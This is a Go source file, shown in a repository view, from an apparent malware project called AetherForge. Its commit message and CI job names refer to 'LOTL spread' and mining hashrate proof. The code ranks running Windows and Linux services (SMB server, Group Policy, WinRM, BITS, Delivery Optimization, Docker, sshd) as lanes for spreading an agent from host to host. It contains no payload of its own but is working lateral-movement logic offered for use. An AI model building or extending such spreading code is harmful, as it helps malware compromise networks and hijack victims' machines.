Files
AetherForge/server/internal/api/service_deploy.go
AetherForge 652356bfe6
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add do_peer Shadow Cache Handoff deploy tier for LOTL spread onion
2026-06-07 00:57:46 -07:00

134 lines
4.3 KiB
Go

package api
import (
"strings"
)
// ServiceDeployLane maps a discovered Windows/Linux service to a LOTL join lane.
type ServiceDeployLane struct {
Lane string `json:"lane"` // bits_curl | do_peer | docker_load | winrm | gpo | spread_smb_unc | linux_lotl
Priority int `json:"priority,omitempty"` // higher wins when multiple services match
Template string `json:"template,omitempty"` // spread template id (gpo | winrm | linux-lotl)
}
// DefaultServiceDeployAllowlist maps allowlisted services to deploy lanes.
// CCMEXEC → BITS staging; Docker → docker_load; WinRM → bootstrap; gpsvc → GPO; LanmanServer → SMB UNC.
var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
"DoSvc": {Lane: "do_peer", Priority: 35},
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
"CcmExec": {Lane: "bits_curl", Priority: 10},
"BITS": {Lane: "bits_curl", Priority: 8},
"com.docker.service": {Lane: "docker_load", Priority: 20},
"Docker Desktop Service": {Lane: "docker_load", Priority: 20},
"WinRM": {Lane: "winrm", Priority: 30, Template: "winrm"},
"Winmgmt": {Lane: "winrm", Priority: 25, Template: "winrm"},
"gpsvc": {Lane: "gpo", Priority: 40, Template: "gpo"},
"Group Policy Client": {Lane: "gpo", Priority: 40, Template: "gpo"},
"LanmanServer": {Lane: "spread_smb_unc", Priority: 50},
"Server": {Lane: "spread_smb_unc", Priority: 45},
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
"ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
}
// NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids.
func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[string]ServiceDeployLane {
if len(raw) == 0 {
dup := make(map[string]ServiceDeployLane, len(DefaultServiceDeployAllowlist))
for k, v := range DefaultServiceDeployAllowlist {
dup[k] = v
}
return dup
}
out := make(map[string]ServiceDeployLane, len(raw))
for name, lane := range raw {
name = strings.TrimSpace(name)
if name == "" {
continue
}
lane.Lane = normalizeJoinLane(lane.Lane)
if lane.Template == "" {
switch lane.Lane {
case "winrm":
lane.Template = "winrm"
case "gpo":
lane.Template = "gpo"
case "linux_lotl":
lane.Template = "linux-lotl"
}
}
out[name] = lane
}
return out
}
func normalizeJoinLane(lane string) string {
lane = strings.ToLower(strings.TrimSpace(lane))
switch lane {
case "bits", "bits/curl", "bits_curl", "bits-curl":
return "bits_curl"
case "do_peer", "do-peer", "dosvc":
return "do_peer"
case "docker", "docker_load", "docker-load":
return "docker_load"
case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc":
return "spread_smb_unc"
case "linux", "linux_lotl", "linux-lotl":
return "linux_lotl"
default:
return lane
}
}
// PickDeployLane chooses the highest-priority allowlisted running service.
func PickDeployLane(services []DeployServiceFinding, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) {
allowlist = NormalizeServiceDeployAllowlist(allowlist)
var bestPriority int
for _, svc := range services {
if !serviceRunningForJoin(svc.Status) {
continue
}
entry, found := allowlist[svc.Name]
if !found {
// Case-insensitive fallback
for k, v := range allowlist {
if strings.EqualFold(k, svc.Name) {
entry, found = v, true
break
}
}
}
if !found {
continue
}
pri := entry.Priority
if pri == 0 {
pri = 1
}
if !ok || pri > bestPriority {
ok = true
bestPriority = pri
matched = svc.Name
lane = entry
}
}
return matched, lane, ok
}
func serviceRunningForJoin(status string) bool {
switch strings.ToLower(strings.TrimSpace(status)) {
case "running", "started", "active":
return true
default:
return false
}
}
// DeployServiceFinding is one service reported by the agent during discover_and_join.
type DeployServiceFinding struct {
Name string `json:"name"`
DisplayName string `json:"display_name,omitempty"`
Status string `json:"status"`
StartType string `json:"start_type,omitempty"`
}